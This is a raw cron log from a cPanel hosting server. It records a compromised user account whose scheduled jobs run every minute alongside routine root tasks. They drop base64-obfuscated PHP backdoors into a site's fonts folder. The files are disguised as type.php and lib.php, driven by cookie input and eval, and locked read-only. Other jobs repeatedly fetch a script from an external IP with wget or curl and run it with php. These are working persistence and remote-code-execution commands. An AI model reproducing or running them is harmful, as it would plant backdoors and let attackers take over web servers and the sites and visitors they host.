Sep 12 13:58:01 ip-184-168-122-23 CROND[5098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:59:01 ip-184-168-122-23 CROND[5200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:59:01 ip-184-168-122-23 CROND[5201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:59:01 ip-184-168-122-23 CROND[5203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:59:01 ip-184-168-122-23 CROND[5204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:00:01 ip-184-168-122-23 CROND[5299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:00:01 ip-184-168-122-23 CROND[5304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5305]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 14:00:01 ip-184-168-122-23 CROND[5298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:01:01 ip-184-168-122-23 CROND[5513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:01:01 ip-184-168-122-23 CROND[5515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:01:01 ip-184-168-122-23 CROND[5520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:01:01 ip-184-168-122-23 CROND[5518]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 14:01:01 ip-184-168-122-23 CROND[5521]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:01:01 ip-184-168-122-23 CROND[5517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5518]: starting 0anacron
Sep 12 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5536]: finished 0anacron
Sep 12 14:02:01 ip-184-168-122-23 CROND[5615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:02:01 ip-184-168-122-23 CROND[5616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:02:01 ip-184-168-122-23 CROND[5619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:02:01 ip-184-168-122-23 CROND[5621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:02:01 ip-184-168-122-23 CROND[5622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:03:01 ip-184-168-122-23 CROND[5715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:03:01 ip-184-168-122-23 CROND[5716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:03:01 ip-184-168-122-23 CROND[5719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:03:01 ip-184-168-122-23 CROND[5721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:04:01 ip-184-168-122-23 CROND[5811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:04:01 ip-184-168-122-23 CROND[5814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:04:01 ip-184-168-122-23 CROND[5813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:04:01 ip-184-168-122-23 CROND[5815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:04:01 ip-184-168-122-23 CROND[5816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:05:01 ip-184-168-122-23 CROND[5911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:05:01 ip-184-168-122-23 CROND[5915]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:06:01 ip-184-168-122-23 CROND[6006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:06:01 ip-184-168-122-23 CROND[6007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:06:01 ip-184-168-122-23 CROND[6009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:06:01 ip-184-168-122-23 CROND[6011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:06:01 ip-184-168-122-23 CROND[6014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:07:01 ip-184-168-122-23 CROND[6193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:07:01 ip-184-168-122-23 CROND[6194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:07:01 ip-184-168-122-23 CROND[6195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:07:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:08:01 ip-184-168-122-23 CROND[6302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:08:01 ip-184-168-122-23 CROND[6303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:08:01 ip-184-168-122-23 CROND[6306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:08:01 ip-184-168-122-23 CROND[6309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:08:01 ip-184-168-122-23 CROND[6308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:09:01 ip-184-168-122-23 CROND[6468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:09:01 ip-184-168-122-23 CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:09:01 ip-184-168-122-23 CROND[6470]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 14:09:01 ip-184-168-122-23 CROND[6474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:09:01 ip-184-168-122-23 CROND[6475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:10:01 ip-184-168-122-23 CROND[6583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:10:01 ip-184-168-122-23 CROND[6585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:10:01 ip-184-168-122-23 CROND[6593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:10:01 ip-184-168-122-23 CROND[6592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
